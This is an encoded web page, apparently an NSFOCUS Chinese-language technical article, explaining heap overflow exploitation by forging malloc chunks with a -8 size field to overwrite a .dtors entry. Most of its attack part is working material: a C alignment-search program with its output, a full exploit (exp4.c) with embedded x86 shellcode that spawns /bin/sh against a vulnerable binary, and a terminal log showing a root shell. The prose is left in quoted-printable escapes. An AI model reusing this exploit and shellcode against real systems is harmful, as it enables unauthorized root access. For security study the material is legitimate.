=C8=E7=B9=FB=BD=AB=D5=E2=B8=F6=B5=D8=D6=B7=BF=B4=B3=C9=CA=C7=D2=BB=B8=F6=D3= =D0=B7=FB=BA=C5=B5=C4=CA=FD=BB=B0,=C7=A1=BA=C3=CA=C7=D2=BB=B8=F6=B8=BA=CA= =FD, = =B4=D3=C7=B0=C3=E6=B5=C4=D4=B4=B4=FA=C2=EB=C9=CF=B7=D6=CE=F6=BF=C9=D2=D4=BF= =B4=B3=F6,size=B5=C4=BC=D3=B7=A8=C8=AB=CA=C7=D3=D0=B7=FB=BA=C5=B5=C4=B2=D9= =D7=F7,=20 = =CB=F9=D2=D4=CE=D2=C3=C7=BF=C9=B2=BB=BF=C9=D2=D4=BD=ABp1=BD=E1=B9=B9=B7=C5= =B5=BD=CE=D2=C3=C7=B5=C4=B6=D1=D5=BB=C0=EF=C3=E6=C4=D8? = =D5=E2=D1=F9=CE=D2=C3=C7=BF=C9=D2=D4=CD=A8=B9=FD=D5=E2=B8=F6=B7=C7=B3=A3=B4= =F3=B5=C4=D5=FD=CA=FD=BD=ABP1=B7=C5=B5=BD=B6=D1=D5=BB=C0=EF=C3=E6. =
P1=C8=B7=B6=A8=BA=C3=C1=CB,=20 = =CE=AA=C1=CB=B1=A3=D6=A40xffff>(p2->size+p1->size)>0, = =B6=F8=C7=D2=D3=D6=D2=AA=C7=F3=CE=D2=C3=C7=BF=C9=D2=D4=BF=D8=D6=C6p3,=20 = =CE=D2=C3=C7=D3=D6=D0=E8=D2=AA=BE=AB=D0=C4=B9=B9=D4=EC=D2=BB=B8=F6p2->= size,=B6=F8=C7=D2=D5=E2=B8=F6=CA=FD=BE=DD=BB=B9=D0=E8=D2=AA=C9=E8=D6=C3p1= =B5=C4non-use=CE=BB. = =BF=B4=C9=CF=C8=A5=CA=C7=B2=BB=CA=C7=B2=BB=BF=C9=C4=DC=B5=C4?=20 = =C8=C3=CE=D2=C3=C7=BF=B4=D2=BB=BF=B4=D2=BB=B8=F6=BE=AB=B2=CA=B5=C4=CA=FD=D1= =A7=B1=E4=BB=BB.
=BC=D9=C9=E8=CE=D2=C3=C7p2=B5=D8=D6=B7=CA=C7p2addr,p1= =B5=D8=D6=B7=CA=C7p1addr,p1=B5=C4=B4=F3=D0=A1=CA=C7p1size,p2=B5=C4=B4=F3=D0= =A1=CA=C7p2size,p3=B5=C4=B5=D8=D6=B7=CA=C7p3addr,=20 = p1size+p2size=3Doffset,=D5=E2=B8=F6offset=B7=FB=BA=CF=B4=F3=D3=DA0=BA=CD=D0= =A1=D3=DA0xffff=B5=C4=B9=E6=B6=A8.=20 =
=C4=C7=C3=B4=D5=E2=C0=EF=D3=D0=BC=B8=B8=F6=B5=C8=CA=BD:


p2= addr-p1size=3Dp1addr    ------------=A2=D9
p2addr+= p2size=3Dp3addr    ------------=A2=DA
p1size+p2siz= e=3Doffset    ------------=A2=DB


=A2=DA-=A2= =D9=B5=C3:
p2size+p1size=3Dp3addr-p1addr
=B4=FA=C8=EB=A2=DB=B5=C3:<= BR>offset=3Dp3addr-p1addr,=D2=B2=BC=B4:
p3addr=3Dp1addr+offset.
=CE= =D2=C3=C7=B5=C4p1=B7=C5=D4=DA=B6=D1=D5=BB,=20 = =D6=BB=D2=AA=CE=D2=C3=C7=BC=D3=C9=CF=D2=BB=B5=E3=B5=E3=B5=C4offset=BE=CD=BF= =C9=D2=D4=B5=C3=B5=BD=CE=D2=C3=C7=B5=C4p3, = =C4=C7=C3=B4p4=D2=B2=BF=C9=D2=D4=CB=B3=C0=FB=CE=B1=D4=EC=B3=F6=C0=B4=C1=CB= . =
=CF=D6=D4=DA=B0=DA=D4=DA=C3=E6=C7=B0=B5=C4=CE=CA=CC=E2=BE=CD=D6=BB=D3= =D0=D2=BB=B8=F6:=20 = p3addr-p2addr=D2=B2=BE=CD=CA=C7p2size=B1=D8=D0=EB=D2=AA=C9=E8=D6=C3non-ma= p=BA=CDnon-use=CE=BB. =B6=F8=C7=D2p2size=D2=AA=CE=AA8=B5=C4=B1=B6=CA=FD, = =D5=E2=D1=F9=BF=B4=C0=B4,=20 = p2size=D7=EE=BA=F3=D2=BB=B8=F6=CA=FD=BE=DD=B1=D8=D0=EB=CE=AA8. =
=D5=E2=B8=F6=CA=B1=BA=F2=D3=D6=D3=D0=D2=BB=B8=F6=CE=CA=CC=E2=B3=F6=C0= =B4=C1=CB,=20 = =CE=D2=C3=C7=B8=C3=D4=F5=C3=B4=B9=B9=D4=EC=D5=E2=D0=A9=CA=FD=BE=DD=D2=D4=C8= =B7=B1=A3p3=B5=C4=BD=E1=B9=B9=C0=EF=C3=E6=B7=FB=BA=CF=D2=AA=C7=F3=B6=F8p3= =B5=C4=B5=D8=D6=B7=BA=CDp2=B5=D8=D6=B7=D6=AE=B2=EE=D7=EE=BA=F3=D2=BB=CE=BB= =D2=AA=CE=AA8?=20 = =D5=E2=B8=F6=CA=FD=BE=DD=B8=C3=C8=E7=BA=CE=B1=BB=C8=B7=B1=A3=B4=E6=D4=DA?=
=BE=AD=B9=FD=CB=BC=BF=BC, = =CE=D2=C3=C7=BF=C9=D2=D4=CF=EB=CF=F1=B3=F6=CE=D2=C3=C7=B5=C4p1=BA=CDp3=CA= =FD=BE=DD=CA=C7=D5=E2=D1=F9=B5=C4:


|AAAA|AAAA|=20 FD | BK |AAA.AAAAA|AAAA|=20 = P3SIZE|=A1=AD.
  p1       = ;            =            =20 = p3


=D2=F2=CE=AA=CE=D2=C3=C7=B2=BB=D3=C3=B9=D8=D0=C4p1=B5=C4pre= v_size=D2=D4=BC=B0p1=B5=C4size,=20 = =B6=F8=CE=D2=C3=C7=D6=BB=D0=E8=D2=AA=B9=D8=D0=C4p4=B5=C4size=B5=C4inuse=CA= =C7=B7=F1=CE=AA0, = =D5=E2=D1=F9,=CE=D2=C3=C7=BD=ABp3->size=C9=E8=D6=C3=B3=C90xfffffff8(-8= ),=20 =D5=E2=D1=F9p4=3Dp3+p3->size=3Dp3-8, = =D5=E2=D1=F9=D6=BB=D2=AA=B1=A3=D6=A4*(char = *)(p3-1)=B5=C4=CA=FD=BE=DD=D7=EE=BA=F3=D2=BB=CE=BB=CE=AA1=BE=CD=BF=C9=D2=D4= =C1=CB.=20 = =CC=EE=B3=E4=B5=C4A=BE=CD=BF=C9=D2=D4=C2=FA=D7=E3=D2=AA=C7=F3.=20 = =D4=DAP1=BA=CDP3=B5=C4=CA=FD=BE=DD=BA=F3=C3=E6=CE=D2=C3=C7=BF=C9=D2=D4=B8= =FA=C9=CF=CE=D2=C3=C7=B5=C4shellcode,=D5=E2=D1=F9=B9=B9=D4=EC=BA=F3=B5=C4= =CA=FD=BE=DD=D3=A6=B8=C3=CA=C7=D5=E2=D1=F9=B5=C4:


| = =B1=BB=CC=E6=BB=BB=B5=C4=B5=D8=D6=B7=20 |  =CC=E6=BB=BB=B5=C4=B5=D8=D6=B7 | = xxxxxxxxxxxA|AAAA| -8 | shellcode=20 = |
p1+8        p1+12  = ;            =           =20 = p3


=CE=D2=C3=C7=BB=D8=B5=BD=B8=D5=B2=C5=B5=C4=CE=CA=CC=E2, = =D4=F5=C3=B4=B1=A3=D6=A4p3=B5=C4=B5=D8=D6=B7=C2=FA=D7=E3=D2=AA=C7=F3. =
=CE=D2=C3=C7=BF=C9=D2=D4=D5=E2=D1=F9=BF=BC=C2=C7,=20 =C4=DA=B4=E6=D6=D0=B4=E6=B7=C5=B6=E0=B4=CE=B5=C4xxxA|AAAA| = -8 | =D5=E2=D1=F9=B5=C4=BD=E1=B9=B9, = =C6=E4=D6=D0XXXA|AAAA=B3=A4=B6=C8=CE=D2=C3=C7=D0=E8=D2=AA=D1=E9=CB=E3=D2=BB= =CF=C2. =CE=D2=C3=C7=B5=C4=C4=BF=B1=EA=CA=C7,=20 = =BE=AD=B9=FD=D3=D0=CF=DE=B4=CE=B5=C416=CE=BB=CA=FD=BE=DD=D1=AD=BB=B7, = =CE=D2=C3=C7=D7=DC=BF=C9=D2=D4=D5=D2=B5=BD=B7=FB=BA=CF=D2=AA=C7=F3=B5=C4x= xxxA|AAAA|-8|=D5=E2=D1=F9=C2=FA=D7=E3=D2=AA=C7=F3=B5=C4=BD=E1=B9=B9.=20 = =CE=D2=C3=C7=D0=B4=B8=F6=D0=A1=B3=CC=D0=F2=D1=E9=CB=E3=D2=BB=CF=C2:
[n= etconf@linux1 challenge]$ cat=20 test1.c


/* test for 32 bits value */
#include=20 <stdio.h>
#include <stdlib.h>
#include=20 <unistd.h>

#define SIZE 200
#define PAD = 5
#define=20 FG 'A'
#define ADDR 0xfffffff8

void foo(int = offset,char=20 *buffer)
{
       int=20 i,found=3D0;

      =20 = for(i=3Doffset;i<strlen(buffer);i+=3D16)
    &n= bsp; =20 = {
           &n= bsp;  =20 if((buffer[i]=3D=3DFG) && (buffer[i+1]=3D=3DFG) = &&=20 (buffer[i+2]=3D=3DFG) && (buffer[i+3]=3D=3DFG) = &&=20 (*(unsigned int=20 = *)(buffer+i+4)=3D=3DADDR))
       &= nbsp;      =20 = {
           &n= bsp;          =20 printf("[+] found.i:%3d,cont:%c%c%c%c=20 = ADDR:%p\n",i,buffer[i],buffer[i+1],buffer[i+2],buffer[i+3],*(unsigned=20 int=20 = *)(buffer+i+4));
         = ;            =  =20 = found=3D1;
          = ;            = =20 = continue;
          =     =20 }
      =20 }
      =20 if(found=3D=3D0)    printf("[-] not=20 found\n");
}

main(int argc,char=20 **argv)
{
       char=20 buffer[SIZE];
       int=20 i,j;
       int=20 pd=3DPAD;

       = if(argc>1)=20 pd=3Datoi(argv[1]);
      =20 = memset(buffer,0,SIZE);
      =20 = for(i=3D0;i<SIZE-1;i+=3Dpd+4)
       = = {
           &n= bsp;  =20 = memset(buffer+i,FG,pd);
       &nbs= p;      =20 *(unsigned int=20 = *)(buffer+i+pd)=3DADDR;
      =20 }
       printf("[+]=20 PAD=3D%d\n\n",pd);
      =20 = for(j=3D0;j<pd;j++)
      =20 = {
           &n= bsp;  =20 printf("[+]=20 = Offset:%d\n",j);
         = ;     =20 foo(j,buffer);
      =20 }
}


[netconf@linux1=20 = challenge]$
=CE=D2=C3=C7=B7=D6=B1=F0=D1=E9=CB=E3=D2=BB=CF=C2=B4=D31-9=B7= =FB=BA=CF=D2=AA=C7=F3=B5=C4PAD=CA=C7=B6=E0=C9=D9:


[netconf@lin= ux1=20 challenge]$ gcc -o test1 test1.c
[netconf@linux1 = challenge]$=20 ./test1 1
[+] PAD=3D1

[+] Offset:0
[-] not=20 found
[netconf@linux1 challenge]$ ./test1 2
[+]=20 PAD=3D2

[+] Offset:0
[-] not found
[+] = Offset:1
[-]=20 not found
[netconf@linux1 challenge]$ ./test1 3
[+]=20 PAD=3D3

[+] Offset:0
[-] not found
[+] = Offset:1
[-]=20 not found
[+] Offset:2
[-] not = found
[netconf@linux1=20 challenge]$ ./test1 4
[+] PAD=3D4

[+] = Offset:0
[+]=20 found.i:  0,cont:AAAA ADDR:0xfffffff8
[+] = found.i:=20 16,cont:AAAA ADDR:0xfffffff8
[+] found.i: 32,cont:AAAA=20 ADDR:0xfffffff8
[+] found.i: 48,cont:AAAA = ADDR:0xfffffff8
[+]=20 found.i: 64,cont:AAAA ADDR:0xfffffff8
[+] found.i: = 80,cont:AAAA=20 ADDR:0xfffffff8
[+] found.i: 96,cont:AAAA = ADDR:0xfffffff8
[+]=20 found.i:112,cont:AAAA ADDR:0xfffffff8
[+] = found.i:128,cont:AAAA=20 ADDR:0xfffffff8
[+] found.i:144,cont:AAAA = ADDR:0xfffffff8
[+]=20 found.i:160,cont:AAAA ADDR:0xfffffff8
[+] = found.i:176,cont:AAAA=20 ADDR:0xfffffff8
[+] found.i:192,cont:AAAA = ADDR:0xfffffff8
[+]=20 Offset:1
[-] not found
[+] Offset:2
[-] not = found
[+]=20 Offset:3
[-] not found
[netconf@linux1 challenge]$ = ./test1=20 5
[+] PAD=3D5

[+] Offset:0
[+] found.i: = 64,cont:AAAA=20 ADDR:0xfffffff8
[+] Offset:1
[+]=20 found.i:  1,cont:AAAA ADDR:0xfffffff8
[+]=20 found.i:145,cont:AAAA ADDR:0xfffffff8
[+] Offset:2
[+] = found.i: 82,cont:AAAA ADDR:0xfffffff8
[+] Offset:3
[+] = found.i: 19,cont:AAAA ADDR:0xfffffff8
[+] = found.i:163,cont:AAAA=20 ADDR:0xfffffff8
[+] Offset:4
[+] found.i:100,cont:AAAA = ADDR:0xfffffff8
[netconf@linux1 challenge]$ ./test1 = 6
[+]=20 PAD=3D6

[+] Offset:0
[+] found.i: 32,cont:AAAA=20 ADDR:0xfffffff8
[+] found.i:112,cont:AAAA = ADDR:0xfffffff8
[+]=20 found.i:192,cont:AAAA ADDR:0xfffffff8
[+] Offset:1
[-] = not=20 found
[+] Offset:2
[+] found.i:  2,cont:AAAA = ADDR:0xfffffff8
[+] found.i: 82,cont:AAAA = ADDR:0xfffffff8
[+]=20 found.i:162,cont:AAAA ADDR:0xfffffff8
[+] Offset:3
[-] = not=20 found
[+] Offset:4
[+] found.i: 52,cont:AAAA=20 ADDR:0xfffffff8
[+] found.i:132,cont:AAAA = ADDR:0xfffffff8
[+]=20 Offset:5
[-] not found
[netconf@linux1 challenge]$ = ./test1=20 7
[+] PAD=3D7

[+] Offset:0
[+] found.i: = 80,cont:AAAA=20 ADDR:0xfffffff8
[+] Offset:1
[+] found.i:113,cont:AAAA = ADDR:0xfffffff8
[+] Offset:2
[+] found.i:146,cont:AAAA = ADDR:0xfffffff8
[+] Offset:3
[+]=20 found.i:  3,cont:AAAA ADDR:0xfffffff8
[+]=20 found.i:179,cont:AAAA ADDR:0xfffffff8
[+] Offset:4
[+] = found.i: 36,cont:AAAA ADDR:0xfffffff8
[+] Offset:5
[+] = found.i: 69,cont:AAAA ADDR:0xfffffff8
[+] Offset:6
[+] = found.i:102,cont:AAAA ADDR:0xfffffff8
[netconf@linux1 = challenge]$=20 ./test1 8
[+] PAD=3D8

[+] Offset:0
[+] found.i: = 16,cont:AAAA ADDR:0xfffffff8
[+] found.i: 64,cont:AAAA=20 ADDR:0xfffffff8
[+] found.i:112,cont:AAAA = ADDR:0xfffffff8
[+]=20 found.i:160,cont:AAAA ADDR:0xfffffff8
[+] Offset:1
[-] = not=20 found
[+] Offset:2
[-] not found
[+] = Offset:3
[-] not=20 found
[+] Offset:4
[+] found.i:  4,cont:AAAA = ADDR:0xfffffff8
[+] found.i: 52,cont:AAAA = ADDR:0xfffffff8
[+]=20 found.i:100,cont:AAAA ADDR:0xfffffff8
[+] = found.i:148,cont:AAAA=20 ADDR:0xfffffff8
[+] found.i:196,cont:AAAA = ADDR:0xfffffff8
[+]=20 Offset:5
[-] not found
[+] Offset:6
[-] not = found
[+]=20 Offset:7
[-] not found
[netconf@linux1 challenge]$ = ./test1=20 9
[+] PAD=3D9

[+] Offset:0
[+] found.i: = 96,cont:AAAA=20 ADDR:0xfffffff8
[+] Offset:1
[+] found.i:161,cont:AAAA = ADDR:0xfffffff8
[+] Offset:2
[+] found.i: 18,cont:AAAA = ADDR:0xfffffff8
[+] Offset:3
[+] found.i: 83,cont:AAAA = ADDR:0xfffffff8
[+] Offset:4
[+] found.i:148,cont:AAAA = ADDR:0xfffffff8
[+] Offset:5
[+]=20 found.i:  5,cont:AAAA ADDR:0xfffffff8
[+]=20 Offset:6
[+] found.i: 70,cont:AAAA ADDR:0xfffffff8
[+] = Offset:7
[+] found.i:135,cont:AAAA ADDR:0xfffffff8
[+] = Offset:8
[+] found.i:200,cont:AAAA=20 ADDR:0xfffffff8
[netconf@linux1=20 = challenge]$


=B4=D3=C9=CF=C3=E6=B5=C4=BC=C6=CB=E3=BF=C9=D2=D4=BF= =B4=B3=F6, =CE=DE=C2=DBbuffer=BF=AA=CA=BC=B5=D8=D6=B7=B6=E0=C9=D9, = =B5=B1PAD=CE=AA5,7,9=B5=C4=CA=B1=BA=F2,=20 = =BE=AD=B9=FD=D3=D0=CF=DE=B4=CE=C1=D0=BE=D9=D7=DC=BF=C9=D2=D4=D5=D2=B5=BD=D5= =E2=D1=F9=D2=BB=B8=F6=C2=FA=D7=E3=CC=F5=BC=FE=B5=C4=CE=BB=D6=C3. = =CE=D2=C3=C7=C8=A1=D7=EE=D0=A1=B5=C4=CA=FD=BE=DD5=C0=B4=B9=B9=D4=EC=CE=D2= =C3=C7=B5=C4p3.
[6].=20 = =CE=D2=C3=C7=B5=C4exp
=D5=E2=D1=F9=CE=D2=C3=C7=BE=CD=BF=C9=D2=D4=D0=B4= =B3=F6exploit=C1=CB:
[netconf@linux1 challenge]$ cat=20 exp4.c


/* exp4 */
#include=20 <stdlib.h>
#include <stdio.h>
#include=20 <unistd.h>

#define SIZE 20
#define FILL=20 = 200           &nbs= p;        /*=20 = =CE=D2=C3=C7=D7=BC=B1=B8=CC=EE=B3=E4=B6=E0=C9=D9=B8=F6p3=BD=E1=B9=B9=C0=B4= =C2=FA=D7=E3=D2=AA=C7=F3 */
#define PAD=20 = 5            =           
#define=20 want_write_to_addr 0x080496dc+4-3*4 = /*.dtors=B5=D8=D6=B7*/
#define=20 P2ADDR      =20 = 0x08049738          &nb= sp; =20 /* p2=B5=C4=B5=D8=D6=B7(chunk=B5=D8=D6=B7) */
#define = shell_addr  =20 = 0xbfffffa7          &nb= sp; =20 /* shellcode=B5=D8=D6=B7 */
#define=20 P3ADDR      =20 = 0xbfffff60          &nb= sp; =20 /* p2->next=B5=C4=B5=D8=D6=B7*/
#define=20 P1ADDR       (unsigned=20 = long)(shell_addr-(FILL/(PAD+4))*(PAD+4)-0x08+1)    /*= =20 p2->prev chunk=B5=C4=B5=D8=D6=B7*/
#define=20 = VULN        "./vul2"

char = shellcode[]=20 = =3D
"\xeb\x0b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"=
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
"\x31\xc0\x50\x50\xb0\xb5\xcd\x= 80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"=
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";


main(int=20 argc,char *argv[])
{
    int=20 i,size=3DSIZE,size2,length;
    char=20 = *env[2],envbuf[400],buffer[100];
    unsigned=20 long=20 = p1size,p2size,p1addr;
    
   &n= bsp;memset(buffer,0,100);
    if(argc>1)=20 = size=3Datoi(argv[1]);
    length=3D(int)(size+4)/8= ;
      =20 if(length*8 =3D=3D=20 = (size+4))length--;
    length*=3D8;
  = ;  
    for(i=3D0;i<length;i++)
&n= bsp;       buffer[i]=3D'A';
 &= nbsp;  size2=3DP3ADDR-P1ADDR;
    p1size= =3Dsize2-(P3ADDR-P2ADDR);
    p2size=3DP3ADDR-P2AD= DR;
    printf("p2size+p1size:%p+%p=3D%#x\n",p2siz= e,p1size,p2size+p1size);
    printf("p1addr:%p,p2a= ddr:%p,p3addr=3D%p\n",P1ADDR,P2ADDR,P3ADDR);
    *= (unsigned=20 long=20 = *)(buffer+i)=3Dp1size;
    i+=3D4;
  =   *(unsigned=20 long=20 = *)(buffer+i)=3Dp2size;
    i+=3D4;

 &n= bsp;  memset(envbuf,0,400);
    strcpy(e= nvbuf,"STR=3D");
    i=3Dstrlen(envbuf);
 =    //=B9=B9=D4=ECp1=BA=CDp3
    =20 *(unsigned long=20 = *)(envbuf+i)=3Dwant_write_to_addr;
    =20 *(unsigned long=20 *)(envbuf+i+4)=3Dshell_addr;
    =20 i+=3D8;
    =20 for(i;i<200;i+=3D9)
    =20 {
        =20 = memset(envbuf+i,'A',PAD);
       &n= bsp;=20 *(unsigned long=20 *)(envbuf+i+PAD)=3D0xfffffff8;
    =20 }
    =20 = memcpy(envbuf+i,shellcode,strlen(shellcode));
    =
    env[0]=3Denvbuf;
    e= nv[1]=3DNULL;
    execle(VULN,VULN,buffer,NULL,env= );
    
}


=CA=D4=D2=BB=CF=C2:=20
[netconf@linux1 challenge]$=20 = ./exp4
p2size+p1size:0xb7fb6828+0x4804985e=3D0x86
p1addr:0xbffffeda= ,p2addr:0x8049738,p3addr=3D0xbfffff60
[+]=20 input:AAAAAAAAAAAAAAAA^=98H(h=FB=B7
sh-2.05b# = id
uid=3D0(root)=20 gid=3D500(netconf) = groups=3D500(netconf)
sh-2.05b#
[7].=20 =B2=CE=BF=BC=CE=C4=D5=C2:
1. warning3: = <=D2=BB=D6=D6=D0=C2=B5=C4heap=C7=F8=D2=E7=B3=F6=BC=BC=CA=F5=B7=D6=CE=F6= >
=BB=B6=D3=AD=B7=C3=CE=CA=CE=D2=C3=C7=B5=C4=D5=BE=B5=E3http://www.nsfocus.com/
=C2=CC=C3= =CB=BF=C6=BC=BC=B8=F8=C4=FA=B0=B2=C8=AB=B5=C4=B1=A3=D5=CF
 
------=_NextPart_001_000D_01C5949F.6B56D1D0 Content-Type: application/octet-stream Content-Transfer-Encoding: 7bit Content-Location: http://127.0.0.1:44501/pl.html?START_LOG ------=_NextPart_001_000D_01C5949F.6B56D1D0-- ------=_NextPart_000_0000_01C5949F.6B50B750--
=D6=D0=C1=AA=C2=CC=C3=CB=D0=C5=CF=A2=BC=BC=CA=F5=A3=A8=B1=B1= =BE=A9=A3=A9=D3=D0=CF=DE=B9=AB=CB=BE=B0=E6=C8=A8=CB=F9=D3=D0 = =C1=AA=CF=B5:webadmin@nsfocus.com
©1999-2005 NSFOCUS = Corporation. All=20 rights Reserved.
=BE=A9ICP=B1=B805004765=BA=C5